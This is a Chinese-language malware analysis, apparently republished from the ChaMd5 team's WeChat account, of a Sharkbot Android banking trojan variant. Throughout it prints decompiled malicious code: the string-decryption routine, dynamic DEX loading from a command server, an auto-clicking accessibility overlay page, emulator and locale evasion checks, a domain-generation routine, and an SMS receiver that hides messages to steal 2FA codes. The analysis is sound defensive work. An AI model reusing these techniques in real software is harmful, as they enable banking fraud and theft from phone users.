Sharkbot是新一代Android银行木马,安全人员研究发现,这款恶意软件似乎和已知的Android Bot没有任何关联,并且使用了最高级的攻击技术,可以使用自动传输技术(ATS)从被感染设备发起欺诈汇款和绕过多因子认证,进行金融欺诈和窃取敏感信息。本文分析一款Sharkbot的新变种。
静态分析
使用的权限信息
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<uses-permission android:name="android.permission.ACTION_MANAGE_OVERLAY_PERMISSION" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.WRITE_SMS" />
<uses-permission android:name="android.permission.RECEIVE_MMS" />
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
<uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" />
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
<!--...-->
<service android:label="@string/app_name_a" android:name="com.pycdvgljmfgh3hgp8jo72giu.omflsx1q2g.MyServiceA" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE" android:enabled="true" android:exported="true" android:process=":BackgroundService" android:description="@string/push_message" android:stopWithTask="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice" android:resource="@xml/accessibility_service_config" />
</service>
敏感权限包括读写手法短信,查询、删除和安装软件包,联网权限,请求忽略电池优化权限(可以防止被杀后台),改变系统窗口,还有监听系统启动完成(自动启动)等
主Activity是
<activity android:theme="@style/Theme.AppCompat" android:name="com.pycdvgljmfgh3hgp8jo72giu.omflsx1q2g.MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
开启了一个服务
new-instance p1, Landroid/content/Intent;
const-class v0, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/MyServiceA;
invoke-direct {p1, p0, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
invoke-virtual {p0, p1}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/MainActivity;->startForegroundService(Landroid/content/Intent;)Landroid/content/ComponentName;
goto :goto_0
.line 373
:cond_1
new-instance p1, Landroid/content/Intent;
const-class v0, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/MyServiceA;
invoke-direct {p1, p0, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
invoke-virtual {p0, p1}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/MainActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
对于应用中的字符串,都采用了如下方法解密。部分类中采用的密钥不同
public static String H(Object obj) {
String str = (String) obj;
int length = str.length();
char[] cArr = new char[length];
length--;
while (length >= 0) {
int i = length - 1;
cArr[length] = (char) (str.charAt(length) ^ 62);
if (i < 0) {
break;
}
length = i - 1;
cArr[i] = (char) (str.charAt(i) ^ 7);
}
return new String(cArr);
}
从最后一byte开始,分别依次异或62和7。可以写出对应解密脚本为
def decrypt(s):
if type(s)==str:
s=s.encode()
r=[0]*len(s)
cnt=True
for i in range(len(s)-1,-1,-1):
if cnt:
r[i]=s[i]^62
else:
r[i]=s[i]^7
cnt= not cnt
return bytes(r).decode()
print(decrypt('`DZu000bWNZu000bGF^GKFKEZNJ'))
服务内容如下
public void onCreate() {
Objects.requireNonNull(this.F);
if (this.F.H()) {
int i = 8 / 0;
return;
}
s sVar = new s(this.k); // Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/s=DatabaseManager
this.M = sVar;
sVar.getWritableDatabase();
this.C = new x(this.k, this.M.H(x.H((Object) "\hJNz"/*botID*/), this.F.a()), this.M.H(x.H((Object) "rLkM"/*urls*/), null));
sVar = this.M;
Objects.requireNonNull(this.F);
sVar.a("needA11", x.H((Object) "GbM"/*yes*/));
sVar = this.M;
Objects.requireNonNull(this.F);
sVar.a("aa11_start_time", String.valueOf(System.currentTimeMillis()));
this.M.a(x.H((Object) "WnTaU{VkBmSaNpM{Dj"), x.H((Object) "u000e"/*0*/)); // APPS_REQUEST_INJECT
this.F.H(this.k);
if (VERSION.SDK_INT >= 26) {
H();
} else {
startForeground(1, new Notification());
}
E();
b();
this.g = this.k.getResources().getString(R.string.app_name);
this.j = this.k.getResources().getString(R.string.app_name_a);
}
其中sVar.a执行了一些数据库操作
private /* synthetic */ String H(String str, String str2, String str3) {
str = getWritableDatabase().rawQuery(0 + str + c.H((Object) "u000e\FN\Nu000eEOFKu0016t"/* where name=*/) + str2 + c.H((Object) "t"/*'*/), null);
if (str.moveToFirst()) {
return str.getString(0);
}
if (str3 != null) {
a(str2, str3);
}
return str3;
}
首先存储了一些信息,然后this.F.H(this.k);
设置了一个闹钟,重复发送广播。根据不同Android版本启动前台服务。
然后是E函数,查询和存储了一些数据。
# ...
const-string v1, "o_tVDQiXnY" # hashConfig
const-string v2, "|u001crLkM%u0004%u001c+u001co_tVDQiXnY%u0004%ZbXfKkJ%C" # {"urls":"","hashConfig":"default"}
.line 199
invoke-static {v2}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;
.line 144
:try_start_0
new-instance v3, Lorg/json/JSONObject;
iget-object v4, p0, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/MyServiceA;->M:Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/s;
const-string v5, "dQiXnYRMbL" # configUser
invoke-static {v5}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v5
invoke-static {v2}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v2
invoke-virtual {v4, v5, v2}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/s;->H(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; # DatabaseManager
move-result-object v2
invoke-direct {v3, v2}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
iput-object v3, p0, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/MyServiceA;->H:Lorg/json/JSONObject;
.line 388
invoke-static {v1}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v2
# ...
并且调用J函数,
private /* synthetic */ void J() {
this.a = null;
this.l = null;
this.E = null;
s sVar = this.M;
String H = x.H((Object) "KwEaDrFmTaIJ{"); // LIB_CLASS_NAME
String str = HttpUrl.FRAGMENT_ENCODE_SET;
this.d = sVar.H(H, str);
this.f = this.M.H(x.H((Object) "KwEaAkI}SwHpXpFsBanPnJ"), str); // LIB_FUNCTION_NAME_init
this.K = this.M.H(x.H((Object) "rN|XxRpDjNqIaIJ{XNfLt[MmHp"), str); // LIB_FUNCTION_NAME_parseJSON
this.G = this.M.H(x.H((Object) "KwEaAkI}SwHpXpFsBahPF]d[tMn\nRnJ~{q[iJ"), str); // LIB_FUNCTION_NAME_onAccessibilityEvent
String H2 = this.M.H(x.H((Object) "rN|XxNrBaIJ{"), str); // LIB_FILE_NAME
if (H2 != null && !H2.isEmpty()) {
this.a = H(H2);
}
}
调用H函数从C2服务器获取Dex并进行动态Class加载
private /* synthetic */ Object H(String str) {
if (str != null) {
try {
if (!str.isEmpty()) {
String str2 = 0 + x.H((Object) "u0011"/*/*/);
str = new DexClassLoader(0 + str, str2, null, ClassLoader.getSystemClassLoader()).loadClass(this.d);
Object newInstance = str.newInstance();
this.E = str.getMethod(this.K, new Class[]{JSONObject.class});
this.l = str.getMethod(this.G, new Class[]{AccessibilityEvent.class, AccessibilityNodeInfo.class});
str = str.getMethod(this.f, new Class[]{Context.class, JSONObject.class});
this.C.g = (String) str.invoke(newInstance, new Object[]{this.k, this.H});
return newInstance;
}
} catch (String str3) {
this.C.J(0 + str3.toString());
}
}
return null;
}
然后是b函数
public void b() {
try {
if (this.F.H(this.k, MyServiceA.class)) {
this.C.A = I;
return;
}
Objects.requireNonNull(this.F);
long parseLong = Long.parseLong(this.M.H("aa11_start_time", String.valueOf(System.currentTimeMillis())));
long currentTimeMillis = System.currentTimeMillis();
Object obj = "_6u000f"; // a11
if (this.F.C == 60000) {
H(x.H(obj), getResources().getString(R.string.push_message/*Check whether your internet connection*/));
} else if (currentTimeMillis > parseLong + 60000) {
this.F.C = 60000;
} else {
String H;
if (this.F.a(this.k).equals(x.H((Object) "nJ"/*it*/))) {
H = x.H((Object) "XnRbu0004(u0011(_iZuQnZX_tMbJ(_iZuQnZ6u000f(Wsu0010oJjR"/*file:///android_asset/android11/it.html*/);
} else {
H = x.H((Object) "XnRbu0004(u0011(_iZuQnZX_tMbJ(_iZuQnZ6u000f([iu0010oJjR"/*file:///android_asset/android11/en.html*/);
}
Intent intent = new Intent(this.k, aaOverlay.class);
intent.putExtra(x.H((Object) "c_s_"/*data*/), x.H(obj));
intent.putExtra(x.H((Object) "KuR"/*url*/), H);
intent.addFlags(268435456);
intent.addFlags(BasicMeasure.EXACTLY);
startActivity(intent);
}
new Handler(Looper.getMainLooper()).postDelayed(new MyServiceA$$ExternalSyntheticLambda1(), this.F.C);
} catch (Exception e) {
this.C.J(0 + e.toString());
}
}
根据语言渲染了一个网页,并且根据网页内容,只要辅助功能开启,就会自动授权其它所有权限
<script type="text/javascript">
time = 2;
interval = setInterval(function() {
time--; // 延迟2s每秒点击
if (time == 0) {
clearInterval(interval);
document.getElementById('thebutton').click();
}
}, 1000)
</script>
</head>
<body style="width:100%; height: 100%;">
<div class="wrapper" >
<div class="header">
<div class="nav">
<div class="nav__back"><img src="images/back.svg"></div>
<div class="nav__title">Accessebility</div>
<div class="nav__search"><img src="images/search-2.svg"></div>
</div>
</div>
<!--...-->
<div class="settings__item _hover">
<div class="settings__item-icon"></div>
<div class="settings__item-body">
<div class="settings__item-title">Volume key shortcut</div>
<div class="settings__item-info">Off</div>
</div>
</div>
<div class="settings__item settings__item-name">
<div class="settings__item-icon"></div>
<div class="settings__item-body">
<div class="settings__item-title">DOWLOADED SERVICES</div>
</div>
</div>
<div class="settings__item _hover _hover-active">
<div class="settings__item-icon">
<div class="icon"><img src="images/mediaplayer.png"></div>
</div>
<div class="settings__item-body">
<a href="en2.html" id='thebutton' value='Autoclick'><div class="settings__item-title">Media Player HD</div>
<div class="settings__item-info">Off</div></a>
</div>
</div>
<div class="settings__item settings__item-name">
<div class="settings__item-icon"></div>
<div class="settings__item-body">
<div class="settings__item-title">SCREEN READERS</div>
<!--...-->
相关反逆向技术
会检测虚拟机的存在,并且对于一些语言采取绕过措施
.method public H()Z
.locals 5
const-string v0, "`QhYk[XMcU" # google_sdk
const-string v1, "YbPbLn]" # generic
const/4 v2, 0x1
.line 282
:try_start_0
sget-object v3, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
invoke-static {v1}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v4
invoke-virtual {v3, v4}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
move-result v3
if-nez v3, :cond_2
sget-object v3, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
const-string v4, "[EEEA\@" # unknown
invoke-static {v4}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/c;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v4
.line 39
invoke-virtual {v3, v4}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
move-result v3
if-nez v3, :cond_2
sget-object v3, Landroid/os/Build;->MODEL:Ljava/lang/String;
invoke-static {v0}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v4
.line 402
invoke-virtual {v3, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
move-result v3
if-nez v3, :cond_2
sget-object v3, Landroid/os/Build;->MODEL:Ljava/lang/String;
const-string v4, "nC^BJZD\" # Emulator
invoke-static {v4}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/c;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v4
.line 7
invoke-virtual {v3, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
move-result v3
if-nez v3, :cond_2
sget-object v3, Landroid/os/Build;->MODEL:Ljava/lang/String;
const-string v4, "u007fiZuQnZ'mCu'\rWkJ'XhL'F?u0008" # Android SDK built for x86
invoke-static {v4}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v4
.line 194
invoke-virtual {v3, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
move-result v3
if-nez v3, :cond_2
sget-object v3, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
const-string v4, "lKEWFA_GD@" # Genymotion
invoke-static {v4}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/c;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v4
.line 238
invoke-virtual {v3, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
move-result v3
if-nez v3, :cond_2
sget-object v3, Landroid/os/Build;->BRAND:Ljava/lang/String;
invoke-static {v1}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v1
.line 126
invoke-virtual {v3, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
move-result v1
if-eqz v1, :cond_0
sget-object v1, Landroid/os/Build;->DEVICE:Ljava/lang/String;
const-string v3, "IN@N\BM" # generic
invoke-static {v3}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/c;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v3
invoke-virtual {v1, v3}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
move-result v1
if-nez v1, :cond_2
:cond_0
invoke-static {v0}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v0
sget-object v1, Landroid/os/Build;->PRODUCT:Ljava/lang/String;
.line 42
invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
move-result v0
if-nez v0, :cond_2
const-string v0, "MERB@W\DRY[W[JRIW" # cn|in|ro|ru|ua|by
invoke-static {v0}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/c;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v0
.line 211
invoke-static {}, Ljava/util/Locale;->getDefault()Ljava/util/Locale;
move-result-object v1
invoke-virtual {v1}, Ljava/util/Locale;->getLanguage()Ljava/lang/String;
move-result-object v1
invoke-virtual {v1}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
move-result-object v1
invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
move-result v0
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
if-eqz v0, :cond_1
goto :goto_0
:cond_1
const/4 v0, 0x0
return v0
:catch_0
:cond_2
:goto_0
return v2
.end method
以及域名生成算法(DGA)
.method private synthetic a()Ljava/lang/String;
.locals 11
const/4 v0, 0x0
.line 107
:try_start_0
new-instance v1, Ljava/lang/StringBuilder;
invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
.line 288
invoke-static {}, Ljava/util/Calendar;->getInstance()Ljava/util/Calendar;
move-result-object v2
const-string v3, "u0000_A[u0002u0005VRTu0007u0000HMu0007u0000B@MAu0007u0000HAFu0002u0005\^u0002u0005GEHDu0002u0005@NZ" # .top,.xyz,.cc,.info,.com,.ru,.info,.net
.line 23
invoke-static {v3}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/c;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v3
const-string v4, "u0012" # <
invoke-static {v4}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v4
invoke-virtual {v3, v4}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
move-result-object v3
array-length v4, v3
move v5, v0
:goto_0
if-ge v5, v4, :cond_0
aget-object v6, v3, v5
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_1
:try_start_1
const-string v7, "u0007F_Z[u0014u0004u0001" # ,http://
.line 62
invoke-static {v7}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/c;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v7
invoke-virtual {v1, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v7
new-instance v8, Ljava/lang/StringBuilder;
invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
const-string v9, "traff"
iget-object v10, p0, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->J:Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/k;
.line 97
invoke-static {v10}, Ljava/util/Objects;->requireNonNull(Ljava/lang/Object;)Ljava/lang/Object;
invoke-virtual {v8, v0, v9}, Ljava/lang/StringBuilder;->insert(ILjava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v8
const/4 v9, 0x3
invoke-virtual {v2, v9}, Ljava/util/Calendar;->get(I)I
move-result v9
invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
move-result-object v8
const-string v9, "wQm|Nu0007Kv@xcX`[`TmMMu0007>Vqh@vQqmVlMcX" # pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf
invoke-static {v9}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v9
invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v8
invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v8
invoke-virtual {v8}, Ljava/lang/String;->getBytes()[B
move-result-object v8
const/4 v9, 0x2
.line 62
invoke-static {v8, v9}, Landroid/util/Base64;->encodeToString([BI)Ljava/lang/String;
move-result-object v8
const/16 v9, 0x13
.line 69
invoke-virtual {v8, v0, v9}, Ljava/lang/String;->substring(II)Ljava/lang/String;
move-result-object v8
.line 62
invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v7
.line 69
invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
:try_end_1
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_0
:catch_0
add-int/lit8 v5, v5, 0x1
goto :goto_0
.line 29
:cond_0
:try_start_2
invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v1
invoke-virtual {v1}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
move-result-object v0
:try_end_2
.catch Ljava/lang/Exception; {:try_start_2 .. :try_end_2} :catch_1
return-object v0
:catch_1
move-exception v1
.line 115
new-instance v2, Ljava/lang/StringBuilder;
invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
const-string v3, "OAFKEjlou0011u000e"
invoke-static {v3}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/c;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v3
invoke-virtual {v2, v0, v3}, Ljava/lang/StringBuilder;->insert(ILjava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v0
invoke-virtual {v1}, Ljava/lang/Exception;->toString()Ljava/lang/String;
move-result-object v1
invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v0
invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v0
invoke-virtual {p0, v0}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->J(Ljava/lang/String;)V
const-string v0, ""
return-object v0
.end method
Receiver分析
<receiver android:name="com.pycdvgljmfgh3hgp8jo72giu.omflsx1q2g.MyReceiverSMS" android:permission="android.permission.BROADCAST_SMS" android:enabled="true">
<intent-filter android:priority="999">
<action android:name="android.provider.Telephony.SMS_DELIVER" />
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver><receiver android:name="com.pycdvgljmfgh3hgp8jo72giu.omflsx1q2g.MyReceiverMMS" android:permission="android.permission.BROADCAST_WAP_PUSH" android:enabled="true">
<intent-filter>
<action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
<data android:mimeType="application/vnd.wap.mms-message" />
</intent-filter>
</receiver><receiver android:name="com.pycdvgljmfgh3hgp8jo72giu.omflsx1q2g.aaBootReceiver" android:enabled="true" android:exported="true">
<intent-filter android:priority="979">
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.QUICKBOOT_POWERON" />
<action android:name="android.intent.action.SCREEN_ON" />
<action android:name="vlcfaoshzuitgbmckzv3xw8u9fgal7" />
</intent-filter>
</receiver>
短信接收器
com.pycdvgljmfgh3hgp8jo72giu.omflsx1q2g.MyReceiverSMS
public class MyReceiverSMS extends BroadcastReceiver {
x C;
private String K = "undefined";
public void onReceive(Context paramContext, Intent paramIntent) {
try {
if (H(paramContext) && paramIntent.getAction().equals(x.H("_iZuQnZ)NuQqWc[u 20S[k[wVhP~ 20TsTaU{D{NhBz"))) { // android.provider.Telephony.SMS_RECEIVED
Bundle bundle = paramIntent.getExtras();
if (bundle != null) {
x x1 = new x();
this(paramContext, null, null);
this.C = x1;
x1.M = null;
Object[] arrayOfObject = (Object[])bundle.get(x.H("wZrM")); // pdus
if (arrayOfObject != null) {
int i = arrayOfObject.length;
byte b = 0;
while (b < i) {
SmsMessage smsMessage = H(arrayOfObject[b], bundle);
StringBuilder stringBuilder = new StringBuilder();
this();
stringBuilder = stringBuilder.insert(0, smsMessage.getDisplayOriginatingAddress()).append(x.H(" 04")); // :
String str = smsMessage.getDisplayMessageBody();
b++;
this.K = stringBuilder.append(str).toString();
}
abortBroadcast();
H();
}
}
}
} catch (Exception exception) {}
}
}
使用abortBrocast
方法从用户端隐藏短信,并且截取2FA验证码
彩信接收器
还未实现
public class MyReceiverMMS extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
throw new UnsupportedOperationException(c.H((Object) "`DZu000bWNZu000bGF^GKFKEZNJ"));
}
}
启动结束接收器
启动主服务
public void onReceive(Context context, Intent intent) {
try {
context = context.getApplicationContext();
if (VERSION.SDK_INT >= 26) {
context.startForegroundService(new Intent(context, MyServiceA.class));
} else {
context.startService(new Intent(context, MyServiceA.class));
}
} catch (Context context2) {
context2.printStackTrace();
}
}
辅助功能分析
public void onAccessibilityEvent(AccessibilityEvent accessibilityEvent) {
MyServiceA myServiceA = this;
Object obj = "WnTaU{VkBmSaNpM{Dj"; // APPS_REQUEST_INJECT
Object obj2 = "MpWw["; // swipe
Object obj3 = "FPsWC[k[s["; // AntiDelete
Object obj4 = "`Rh\fR"; // global
Object obj5 = "u001c"; // "
Object obj6 = "hPF]d[tMn\nRnJ~{q[iJ=u001e"; // onAccessibilityEvent:
if (accessibilityEvent != null) {
try {
if (accessibilityEvent.getPackageName() != null) {
AccessibilityNodeInfo source = accessibilityEvent.getSource();
if (source != null) {
source.refresh();
String charSequence = accessibilityEvent.getPackageName().toString();
try {
if (myServiceA.J) {
List findAccessibilityNodeInfosByViewId = source.findAccessibilityNodeInfosByViewId(x.H((Object) "fPcLhWcu0004nZ(\rJsQiu000f")); // android:id/button1
if (!(findAccessibilityNodeInfosByViewId == null || findAccessibilityNodeInfosByViewId.isEmpty() || !myServiceA.F.J(myServiceA.k))) {
((AccessibilityNodeInfo) findAccessibilityNodeInfosByViewId.get(0)).performAction(16);
myServiceA.c = I;
myServiceA.J = false;
myServiceA.C.H(new JSONObject());
}
return;
}
if (myServiceA.a != null) {
JSONObject jSONObject;
String str = myServiceA.m;
if (str != null && !str.isEmpty() && myServiceA.m.contains(0 + charSequence + x.H(obj5)) && myServiceA.M.H(charSequence).equals(x.H((Object) "iQ"))) {
if (System.currentTimeMillis() > Long.parseLong(myServiceA.M.H(x.H(obj), myServiceA.F.H())) + 300000) {
myServiceA.M.a(x.H(obj), x.H((Object) "u000e"));
jSONObject = new JSONObject();
jSONObject.put(x.H((Object) "i[bZNPm[dJ"), accessibilityEvent.getPackageName()); // needInject
jSONObject.put(x.H((Object) "fZjWikUr"), myServiceA.C.C); // adminURL
myServiceA.C.H(jSONObject);
}
}
jSONObject = (JSONObject) myServiceA.l.invoke(myServiceA.a, new Object[]{accessibilityEvent, source});
if (jSONObject != null && jSONObject.length() > 0) {
if (jSONObject.has(x.H(obj4))) {
H(jSONObject.getString(x.H(obj4)));
}
if (jSONObject.has(x.H(obj3))) {
myServiceA.c = jSONObject.getBoolean(x.H(obj3));
}
if (jSONObject.has(x.H(obj2))) {
H(jSONObject.getJSONArray(x.H(obj2)));
}
myServiceA.C.H(jSONObject);
}
}
if (myServiceA.c) {
H(source, charSequence);
}
} catch (Exception e) {
myServiceA.C.J(0 + e.toString());
}
}
}
} catch (Exception e2) {
myServiceA.C.J(0 + e2.toString());
}
}
}
会尝试自动点击按钮,自动填充数据等
其它行为
还有一些和C2服务器通信、数据交互等行为
总结
很多Android的银行木马、bot、勒索软件等都会通过滥用辅助功能的方式进行信息窃取、金融欺诈。并且由于辅助功能的特殊性,一旦开启辅助功能就会导致用户既无法关闭辅助功能,也无法卸载软件,甚至有的bot会阻止用户打开设置。用户不得不使用adb(还需要在开启adb调试的情况下)进行卸载。但是辅助功能存在的意义是帮助一些使用手机有障碍的用户更方便地使用手机,可能这也需要一种平衡吧。
IOC
57f8a57320eeed2f5b5a316d67319191ce717cc51384318966b61f95722e275f
参考
https://blog.cyble.com/2022/02/18/new-sharkbot-variant-discovered/
https://www.ddosi.org/sharkbot/
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
原文始发于微信公众号(ChaMd5安全团队):Sharkbot分析